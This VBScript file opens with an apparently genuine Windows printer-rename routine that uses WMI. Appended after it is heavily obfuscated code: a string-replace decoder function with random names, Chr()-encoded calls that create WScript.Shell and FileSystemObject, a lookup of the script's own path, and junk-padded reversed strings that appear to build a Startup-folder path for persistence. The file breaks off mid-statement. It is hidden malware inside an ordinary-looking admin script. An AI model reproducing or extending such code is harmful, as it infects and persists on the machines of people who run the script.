' Rename printer
function RenamePrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strNewName
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
RenamePrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
uResult = oPrinter.RenamePrinter(strNewName)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strNewName
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
RenamePrinter = iRetval
end function
Function VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN(QBIUXWUGNTLODXOKHCKJSJGPUSEEHISGYMDIMRBPFWEJOWKBWAHMRDAHUSZESQZEAFPRUFYQBUEVEWAXICHGBGOULVOTRWXPXZJJGTHRBQLXZECXRCWPISDTQVFZRFYFXOYENRQPVQFKVRVHSQBPAHHEWPTLNIZWSGZKFYKALGURNSYYZXGADJEPHUIXXFBNRJSOSKBU, find, ADTNPRDQVLPBZSIBJCLQMCGEHAEAKFOWMUDFLCSDEGCTMLRRKNIIQETYXPGPNDGPWTPFPCQHJHLGAMSVIMQWXGFHAEHVVDPBZNXSVMCHXAYISNYLWKGAMKRQOHEKUUMGSKGMPAZVKIZXHWPMGWZKWPOPVHDNISMCNRQHHLWWKLPEKUISSRDYUBJCWQRIWMNSWWJPFHFV)
DZLAKFAYLVQOOHMIOLQUOZYXWHNLSMKMHYRCXCMLQJKQXDIPWHQWOBMDAODCRPGZLDHQQJKMZFEEPIASZYOKVOYGLNBJYJTBCLFTWSZNXEXIXHOSOKDTAWDWFBECIANPLDCEDGWHZBMQRPJEZJVOGAAGHIOVNXEWRHWUFKPIOVUYJMFQRZCZFYJLCVWURATBWQZJSPZP = Len(QBIUXWUGNTLODXOKHCKJSJGPUSEEHISGYMDIMRBPFWEJOWKBWAHMRDAHUSZESQZEAFPRUFYQBUEVEWAXICHGBGOULVOTRWXPXZJJGTHRBQLXZECXRCWPISDTQVFZRFYFXOYENRQPVQFKVRVHSQBPAHHEWPTLNIZWSGZKFYKALGURNSYYZXGADJEPHUIXXFBNRJSOSKBU)
NZKGBWUCYDNUFRSYLRJNUQNCSCTNVXCANFRZYEAZCRTXFHQYGLHXQBYXMIOZDGHAANGAATZGRKKDWPWKLVHJQFKLGUMQQAVVKSWSBPXMMAGGRVAWLDOIYXKVCUUFHIPQOOTETDJVXVXPYEULTQEMMNXMIAPGVRFDKPRCCWDHUSKDZUWYAJMQEDEARGVSODZFQTFJMSIX = Len(find)
WSUCTNOEQFMFOZHLQKVAKTRSFNGPNLHAODHLKYYTGOXXNZBTXXVIMWCDABXGGZQFYMRKSWBSMCTWWUEFLMRPQZNRBEKIASMHXSYBIRBBWDWKCFHGWRUUIAOZYZIOLSRUQMYDVDXULPTMDDPVWELJXSZXDZCIIMQDLCTQHDLSUZJSHCWVKMRHHIWYMBAVBOLYYPAAJYOT = Len(ADTNPRDQVLPBZSIBJCLQMCGEHAEAKFOWMUDFLCSDEGCTMLRRKNIIQETYXPGPNDGPWTPFPCQHJHLGAMSVIMQWXGFHAEHVVDPBZNXSVMCHXAYISNYLWKGAMKRQOHEKUUMGSKGMPAZVKIZXHWPMGWZKWPOPVHDNISMCNRQHHLWWKLPEKUISSRDYUBJCWQRIWMNSWWJPFHFV)
ReDim SOYIGPBDGYVVJWDFVDFDPRGNLURBVMLXYOOUYPGLYRUQPCPTXVNVJPDBHKXMYZIUMYWVHJHGXUEXWQXIEXDAZQOIKNMNRUNYJAERFTLONGXOKFERMPHAVIUVJNKUWTPDHGOWLGCKMPMSSZYFIUBBMMCBFIISJRRTRUHERHGGNWOGVCCJPELCSNQUDNQCXKBVYTAYSTOA(DZLAKFAYLVQOOHMIOLQUOZYXWHNLSMKMHYRCXCMLQJKQXDIPWHQWOBMDAODCRPGZLDHQQJKMZFEEPIASZYOKVOYGLNBJYJTBCLFTWSZNXEXIXHOSOKDTAWDWFBECIANPLDCEDGWHZBMQRPJEZJVOGAAGHIOVNXEWRHWUFKPIOVUYJMFQRZCZFYJLCVWURATBWQZJSPZP)
i = 1
j = 0
Do While i <= DZLAKFAYLVQOOHMIOLQUOZYXWHNLSMKMHYRCXCMLQJKQXDIPWHQWOBMDAODCRPGZLDHQQJKMZFEEPIASZYOKVOYGLNBJYJTBCLFTWSZNXEXIXHOSOKDTAWDWFBECIANPLDCEDGWHZBMQRPJEZJVOGAAGHIOVNXEWRHWUFKPIOVUYJMFQRZCZFYJLCVWURATBWQZJSPZP
If Mid(QBIUXWUGNTLODXOKHCKJSJGPUSEEHISGYMDIMRBPFWEJOWKBWAHMRDAHUSZESQZEAFPRUFYQBUEVEWAXICHGBGOULVOTRWXPXZJJGTHRBQLXZECXRCWPISDTQVFZRFYFXOYENRQPVQFKVRVHSQBPAHHEWPTLNIZWSGZKFYKALGURNSYYZXGADJEPHUIXXFBNRJSOSKBU, i, NZKGBWUCYDNUFRSYLRJNUQNCSCTNVXCANFRZYEAZCRTXFHQYGLHXQBYXMIOZDGHAANGAATZGRKKDWPWKLVHJQFKLGUMQQAVVKSWSBPXMMAGGRVAWLDOIYXKVCUUFHIPQOOTETDJVXVXPYEULTQEMMNXMIAPGVRFDKPRCCWDHUSKDZUWYAJMQEDEARGVSODZFQTFJMSIX) = find Then
For k = 1 To WSUCTNOEQFMFOZHLQKVAKTRSFNGPNLHAODHLKYYTGOXXNZBTXXVIMWCDABXGGZQFYMRKSWBSMCTWWUEFLMRPQZNRBEKIASMHXSYBIRBBWDWKCFHGWRUUIAOZYZIOLSRUQMYDVDXULPTMDDPVWELJXSZXDZCIIMQDLCTQHDLSUZJSHCWVKMRHHIWYMBAVBOLYYPAAJYOT
SOYIGPBDGYVVJWDFVDFDPRGNLURBVMLXYOOUYPGLYRUQPCPTXVNVJPDBHKXMYZIUMYWVHJHGXUEXWQXIEXDAZQOIKNMNRUNYJAERFTLONGXOKFERMPHAVIUVJNKUWTPDHGOWLGCKMPMSSZYFIUBBMMCBFIISJRRTRUHERHGGNWOGVCCJPELCSNQUDNQCXKBVYTAYSTOA(j) = Mid(ADTNPRDQVLPBZSIBJCLQMCGEHAEAKFOWMUDFLCSDEGCTMLRRKNIIQETYXPGPNDGPWTPFPCQHJHLGAMSVIMQWXGFHAEHVVDPBZNXSVMCHXAYISNYLWKGAMKRQOHEKUUMGSKGMPAZVKIZXHWPMGWZKWPOPVHDNISMCNRQHHLWWKLPEKUISSRDYUBJCWQRIWMNSWWJPFHFV, k, 1)
j = j + 1
Next
i = i + NZKGBWUCYDNUFRSYLRJNUQNCSCTNVXCANFRZYEAZCRTXFHQYGLHXQBYXMIOZDGHAANGAATZGRKKDWPWKLVHJQFKLGUMQQAVVKSWSBPXMMAGGRVAWLDOIYXKVCUUFHIPQOOTETDJVXVXPYEULTQEMMNXMIAPGVRFDKPRCCWDHUSKDZUWYAJMQEDEARGVSODZFQTFJMSIX
Else
SOYIGPBDGYVVJWDFVDFDPRGNLURBVMLXYOOUYPGLYRUQPCPTXVNVJPDBHKXMYZIUMYWVHJHGXUEXWQXIEXDAZQOIKNMNRUNYJAERFTLONGXOKFERMPHAVIUVJNKUWTPDHGOWLGCKMPMSSZYFIUBBMMCBFIISJRRTRUHERHGGNWOGVCCJPELCSNQUDNQCXKBVYTAYSTOA(j) = Mid(QBIUXWUGNTLODXOKHCKJSJGPUSEEHISGYMDIMRBPFWEJOWKBWAHMRDAHUSZESQZEAFPRUFYQBUEVEWAXICHGBGOULVOTRWXPXZJJGTHRBQLXZECXRCWPISDTQVFZRFYFXOYENRQPVQFKVRVHSQBPAHHEWPTLNIZWSGZKFYKALGURNSYYZXGADJEPHUIXXFBNRJSOSKBU, i, 1)
i = i + 1
j = j + 1
End If
Loop
VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT = ""
For i = 0 To j - 1
VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT = VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT & SOYIGPBDGYVVJWDFVDFDPRGNLURBVMLXYOOUYPGLYRUQPCPTXVNVJPDBHKXMYZIUMYWVHJHGXUEXWQXIEXDAZQOIKNMNRUNYJAERFTLONGXOKFERMPHAVIUVJNKUWTPDHGOWLGCKMPMSSZYFIUBBMMCBFIISJRRTRUHERHGGNWOGVCCJPELCSNQUDNQCXKBVYTAYSTOA(i)
Next
VWHTVEVYVJJYRCWHOSUHYHOGZNXZISMPFCESYTRVANNELUQFENOZDKUNHATHGWQDWTTPYDJVBZGKUKVFWRVUDNMUIQLXZJOEWJIRABHADTXEDJTXFOLPAVZIGZGISMVSKCNKCDEVKURJQIQYWNSLYZDBKZLBUZHRYFTBWJVBJQEFEPSXIILETKULYMZCSDAKNZLLPPBN = VOQYWFDGYCEFPBEENBDRDICVTICBERWQKNWYAWGINWZIWPIRWUESKJLMLUEOCBCHGOUBEFDQUVEHJUYDZLFJMDFBCJNFRSFLTSBIUGNQQOXPFDDQWBORWSUCITZUSYZBQSNRSPISXOTYFQWYGWIQENPAXZABHSYSPWZMQMXGSVTHZWWRXBOWPIXCDNTTPHLFPBJJRJIT
End Function
On Error Resume Next
lhZNgCgpkmfwgkqvDErqCUTZDegPZMWUPLYqSvPvrQMufyrbLZvLttVZPyUZaWUCglqRyQcLczSdWZEWCUrGtgaWRzPdXzwWUmfUMkLyySPCvDNWWOWPiRqvdyAyLOQuqrTfphLodhyvPhOqVlqnjZWGgZzNkUsoCqUCPcUyDeDapoNCoRUbwBWDSfCWeeNkaxrMQLUt = Chr(112)&Chr(117)&Chr(116)&Chr(114)&Chr(97)&Chr(116)&Chr(83)
Escola = lhZNgCgpkmfwgkqvDErqCUTZDegPZMWUPLYqSvPvrQMufyrbLZvLttVZPyUZaWUCglqRyQcLczSdWZEWCUrGtgaWRzPdXzwWUmfUMkLyySPCvDNWWOWPiRqvdyAyLOQuqrTfphLodhyvPhOqVlqnjZWGgZzNkUsoCqUCPcUyDeDapoNCoRUbwBWDSfCWeeNkaxrMQLUt
Escola = eKRiX(eKRiX(eKRiX(Escola)))
DjGWNGZnUHUapULyPjHwcaUWSXKDkjsaLhkKqUGCHNLDTqpPKWyKDDmkGjTkbnJGeUBajOhsXUqGWGjWeiivSKjLaKtMtraWGHriqysqKqtGkwTcLqONutxUGWKjWONXHaUUnGWDiUOkOwqLmPxrWktLZWUOYtsqeLJeDUTKkWwtiqWeqawPaKneqUUtWUNYbiiqOLGZ = "IT"
NSWHRBMJRHVRMFZMJYCLBYG
JRYKTDWWCPSCQDPJFVRZTWGGNVXTGKOPGFNKTGBFBZDSVCZZLRN
if 0 then
sItpMLpYwxNnMeUZWvDNfwOwGZjKfPbwkXfjKDvDDmLGikDKKwvKhGwfpNUfDpTPpelNNSXOGcKxgtKzLwWNhjnpNqlZUcnzQxiwcBOqaQlRYWWzUcKmmWNDxopkrcmGvWONYbrqcbqYqOcUweNMAfUjIwGOBeuXLlTfeYUasYWtPXpfXmQKntpsKNIUYNZBUAWcSKQp= Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
DKCgcsWhHoviczSvhKCrpfWDnUOllShfWKlONcdcCXOxfQCNGDdGlxSlDPPlGpnGWzzOPSKZQtNwgCGwsfKPlOopOJHUitiwboffQOZyIgHcphzwSUxXuhrcwunQYUXxOKWvhxYpGxypyTUSSzrKZlYDXDnfOpiCsznpeWPIRUhCDCgpCdbNiopRNvBYUvDOYmKQSGbh = Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(105)&Chr(110)&Chr(103)&Chr(46)&Chr(70)&Chr(105)&Chr(108)&Chr(101)&Chr(83)&Chr(121)&Chr(115)&Chr(116)&Chr(101)&Chr(109)&Chr(79)&Chr(98)&Chr(106)&Chr(101)&Chr(99)&Chr(116)
Set DWcUWlxOmykCWmgmNhrAyGReWaqUdMWGfXdqvMQCrqwMPaqDcemcMMGdqxWdUczrGmdkxBXSWUvfUchUklwgPqNQkXWKbUCUOyUlKjSaPvWrTPyDQYNqaXZMfHixejqNYORkOOeROLZTZSYgGcZGDdgoTeUjIWcPkgzkCYWPwqPMUPUkPkADCBcnvkGgqkKIUTwKBeOWo = CreateObject(sItpMLpYwxNnMeUZWvDNfwOwGZjKfPbwkXfjKDvDDmLGikDKKwvKhGwfpNUfDpTPpelNNSXOGcKxgtKzLwWNhjnpNqlZUcnzQxiwcBOqaQlRYWWzUcKmmWNDxopkrcmGvWONYbrqcbqYqOcUweNMAfUjIwGOBeuXLlTfeYUasYWtPXpfXmQKntpsKNIUYNZBUAWcSKQp)
Set XTWLqNRcqivcwMBGUAReUiWlWxANNcKhLevDGhcLUMAPAlzvGzOHNGUTWUbPUcHLfjaiMKlqHcszGWRHRzCKLPAPPUawAMPcqCMuMqRLPKvNuADYLNvfGHcRewIqRKRzcLKSNKAKepyUPJcLNaLYLGKWfqRRxcXLhWeWxUUsUfYHCPzwcLcNWXNPRfaKHiUGxHqbRRGc = CreateObject(DKCgcsWhHoviczSvhKCrpfWDnUOllShfWKlONcdcCXOxfQCNGDdGlxSlDPPlGpnGWzzOPSKZQtNwgCGwsfKPlOopOJHUitiwboffQOZyIgHcphzwSUxXuhrcwunQYUXxOKWvhxYpGxypyTUSSzrKZlYDXDnfOpiCsznpeWPIRUhCDCgpCdbNiopRNvBYUvDOYmKQSGbh)
DWcUWlxOmykCWmgmNhrAyGReWaqUdMWGfXdqvMQCrqwMPaqDcemcMMGdqxWdUczrGmdkxBXSWUvfUchUklwgPqNQkXWKbUCUOyUlKjSaPvWrTPyDQYNqaXZMfHixejqNYORkOOeROLZTZSYgGcZGDdgoTeUjIWcPkgzkCYWPwqPMUPUkPkADCBcnvkGgqkKIUTwKBeOW = XTWLqNRcqivcwMBGUAReUiWlWxANNcKhLevDGhcLUMAPAlzvGzOHNGUTWUbPUcHLfjaiMKlqHcszGWRHRzCKLPAPPUawAMPcqCMuMqRLPKvNuADYLNvfGHcRewIqRKRzcLKSNKAKepyUPJcLNaLYLGKWfqRRxcXLhWeWxUUsUfYHCPzwcLcNWXNPRfaKHiUGxHqbRRGc.GetAbsolutePathName(WScript.ScriptFullName)
wBcGrfDWXyOOqaHfrpDGcTAbGNpKPrjueQUZoHvccapmpmKeqRdIPoWBGWtDZLICKUjTmWifIYiKGGWrWUWfoCpUmZjnQDDLfWhXySrtARiWXPDnUbiywZOOoBISaWRovCTOdGcUQoymCgDKxjKMDwjDKuaWWWUUOeQGIsSpWPCOWlPQTGZdBUKmrYfjOTSbkOuPaNoO = DWcUWlxOmykCWmgmNhrAyGReWaqUdMWGfXdqvMQCrqwMPaqDcemcMMGdqxWdUczrGmdkxBXSWUvfUchUklwgPqNQkXWKbUCUOyUlKjSaPvWrTPyDQYNqaXZMfHixejqNYORkOOeROLZTZSYgGcZGDdgoTeUjIWcPkgzkCYWPwqPMUPUkPkADCBcnvkGgqkKIUTwKBeOW
LAxqPWLpStWjdBJLOCLWafjWWNCTxKpvZAoxKGdGpBCNCdQmoCGZxKwAcwLUKMZAOPSfOfwQZlWQcccccKWWbUCoNKSeBdUMQzreRWKgcUKSRxPWBlKPwMWjhdLWvSgUdAfgKysUANPNUQjUXSUPdwUPOtvcgpmBNfAWDyDqwoONWZlBvqKKOmTNKUWpNfDlWNvKvQKj34 = "
(]}@((
(]}}@@}
JcCCOzdhdmDyfdqMULdJJWsvJULcWyRGKqyhLlJttdLhLQWcXuXbWLocgonscpbamwUWWnSPbTUWggeTeNhGWXLyhcUcvIspPkjtRLyvsYCaLdnNBJCeDBDCXLKLjaQOJaWnAzxJqWahXoXWqUWfIDinmSjeMhcBisqJyxWfoHQihmDvcChApcchyOMRiWWJviGWjOLy = ")'sbv." + DjGWNGZnUHUapULyPjHwcaUWSXKDkjsaLhkKqUGCHNLDTqpPKWyKDDmkGjTkbnJGeUBajOhsXUqGWGjWeiivSKjLaKtMtraWGHriqysqKqtGkwTcLqONutxUGWKjWONXHaUUnGWDiUOkOwqLmPxrWktLZWUOYtsqeLJeDUTKkWwtiqWeqawPaKneqUUtWUNYbiiqOLGZ + " \pu
(]}@((
(]}}@@}
(]}@((
(]}}@@}
atS\sm
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
JcCCOzdhdmDyfdqMULdJJWsvJULcWyRGKqyhLlJttdLhLQWcXuXbWLocgonscpbamwUWWnSPbTUWggeTeNhGWXLyhcUcvIspPkjtRLyvsYCaLdnNBJCeDBDCXLKLjaQOJaWnAzxJqWahXoXWqUWfIDinmSjeMhcBisqJyxWfoHQihmDvcChApcchyOMRiWWJviGWjOLy = JcCCOzdhdmDyfdqMULdJJWsvJULcWyRGKqyhLlJttdLhLQWcXuXbWLocgonscpbamwUWWnSPbTUWggeTeNhGWXLyhcUcvIspPkjtRLyvsYCaLdnNBJCeDBDCXLKLjaQOJaWnAzxJqWahXoXWqUWfIDinmSjeMhcBisqJyxWfoHQihmDvcChApcchyOMRiWWJviGWjOLy + " tra
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
dniW\t
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
(]}@((
(]}}@@}
JcCCOzdhdmDyfdqMULdJJWsvJULcWyRGKqyhLlJttdLhLQWcXuXbWLocgonscpbamwUWWnSPbTUWggeTeNhGWXLyhcUcvIspPkjtRLyvsYCaLdnNBJCeDBDCXLKLjaQOJaWnAzxJqWahXoXWqUWfIDinmSjeMhcBisqJyxWfoHQihmDvcChApcchyOMRiWWJviGWjOLy = AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ(AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ( JcCCOzdhdmDyfdqMULdJJWsvJULcWyRGKqyhLlJttdLhLQWcXuXbWLocgonscpbamwUWWnSPbTUWggeTeNhGWXLyhcUcvIspPkjtRLyvsYCaLdnNBJCeDBDCXLKLjaQOJaWnAzxJqWahXoXWqUWfIDinmSjeMhcBisqJyxWfoHQihmDvcChApcchyOMRiWWJviGWjOLy , LAxqPWLpStWjdBJLOCLWafjWWNCTxKpvZAoxKGdGpBCNCdQmoCGZxKwAcwLUKMZAOPSfOfwQZlWQcccccKWWbUCoNKSeBdUMQzreRWKgcUKSRxPWBlKPwMWjhdLWvSgUdAfgKysUANPNUQjUXSUPdwUPOtvcgpmBNfAWDyDqwoONWZlBvqKKOmTNKUWpNfDlWNvKvQKj34 , mkCWcLMwnR
SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih = "]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih = SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih + "]
^+}}((*}
+}#]4}
^^O.F]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^^:Co]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^^y('"
SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih = SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih + DWcUWlxOmykCWmgmNhrAyGReWaqUdMWGfXdqvMQCrqwMPaqDcemcMMGdqxWdUczrGmdkxBXSWUvfUchUklwgPqNQkXWKbUCUOyUlKjSaPvWrTPyDQYNqaXZMfHixejqNYORkOOeROLZTZSYgGcZGDdgoTeUjIWcPkgzkCYWPwqPMUPUkPkADCBcnvkGgqkKIUTwKBeOW + "',"
SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih = SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih + "'C]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^^ers\' ]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^^[En]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
^^rNa]
^+}}((*}
+}#]4}
^^me ]
^+}}((*}
+}#]4}
^+}}((*}
+}#]4}
KWHNvYsRTpUXAyPtTasPzcLcPZaHOcaKePnDymJCTyaIarofOTGPOyRWPROITqPRLPPcUsKvPOMoPPnfnfStKhanITPUSmIqvcATSvchTTGNtSpvGJGWCCUvfkKviNiRJRcpWcDdPXXIhduwmPwqmCNpLoinMRBGkCPPHlIqRZYkSDsSUNRWuBHIcLGakcIJWkKkicyX = JcCCOzdhdmDyfdqMULdJJWsvJULcWyRGKqyhLlJttdLhLQWcXuXbWLocgonscpbamwUWWnSPbTUWggeTeNhGWXLyhcUcvIspPkjtRLyvsYCaLdnNBJCeDBDCXLKLjaQOJaWnAzxJqWahXoXWqUWfIDinmSjeMhcBisqJyxWfoHQihmDvcChApcchyOMRiWWJviGWjOLy
KWHNvYsRTpUXAyPtTasPzcLcPZaHOcaKePnDymJCTyaIarofOTGPOyRWPROITqPRLPPcUsKvPOMoPPnfnfStKhanITPUSmIqvcATSvchTTGNtSpvGJGWCCUvfkKviNiRJRcpWcDdPXXIhduwmPwqmCNpLoinMRBGkCPPHlIqRZYkSDsSUNRWuBHIcLGakcIJWkKkicyX = eKRiX( _
KWHNvYsRTpUXAyPtTasPzcLcPZaHOcaKePnDymJCTyaIarofOTGPOyRWPROITqPRLPPcUsKvPOMoPPnfnfStKhanITPUSmIqvcATSvchTTGNtSpvGJGWCCUvfkKviNiRJRcpWcDdPXXIhduwmPwqmCNpLoinMRBGkCPPHlIqRZYkSDsSUNRWuBHIcLGakcIJWkKkicyX)
SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih = AXUudZOGWRpQTONhLBOwZZyKwGBWWLHhNcSSDMGdfOBWBhjJowWyWDkXDkOwZZynpyOZSPOUydGjDDKuKODikSBSWZOWDywZUUDpnLLZQNGkkWWihlGLRBpYkWtLOkemGnZoDTxKcdxWSYcGLOGZyRTWpyOKzGrhdecwIjQJkLzdDOODNuaDrrWWLDRHdZQlYdhaOQDQ( _
SiWMaUUhwIghWPtZhPUoIogDUcPLlsOYSiTLiDrQIPPCPMtgvsqUeZSqbSitNDScPSQosWqNUaReRbtmteTcMOPZZNQctJtDAiJOhAtCDlTfKtLNOeTWZAhNoTWAnOnPrcoAlhPZiGDCHpbJfQJcJZWLPmStOhNODWiUcCrRSHLUTPvGCMXlWaLZtUQOUoIecUYfSUih + _
KWHNvYsRTpUXAyPtTasPzcLcPZaHOcaKePnDymJCTyaIarofOTGPOyRWPROITqPRLPPcUsKvPOMoPPnfnfStKhanITPUSmIqvcATSvchTTGNtSpvGJGWCCUvfkKviNiRJRcpWcDdPXXIhduwmPwqmCNpLoinMRBGkCPPHlIqRZYkSDsSUNRWuBHIcLGakcIJWkKkicyX , _
^+}}((*}
+}#]4}
^^" , _
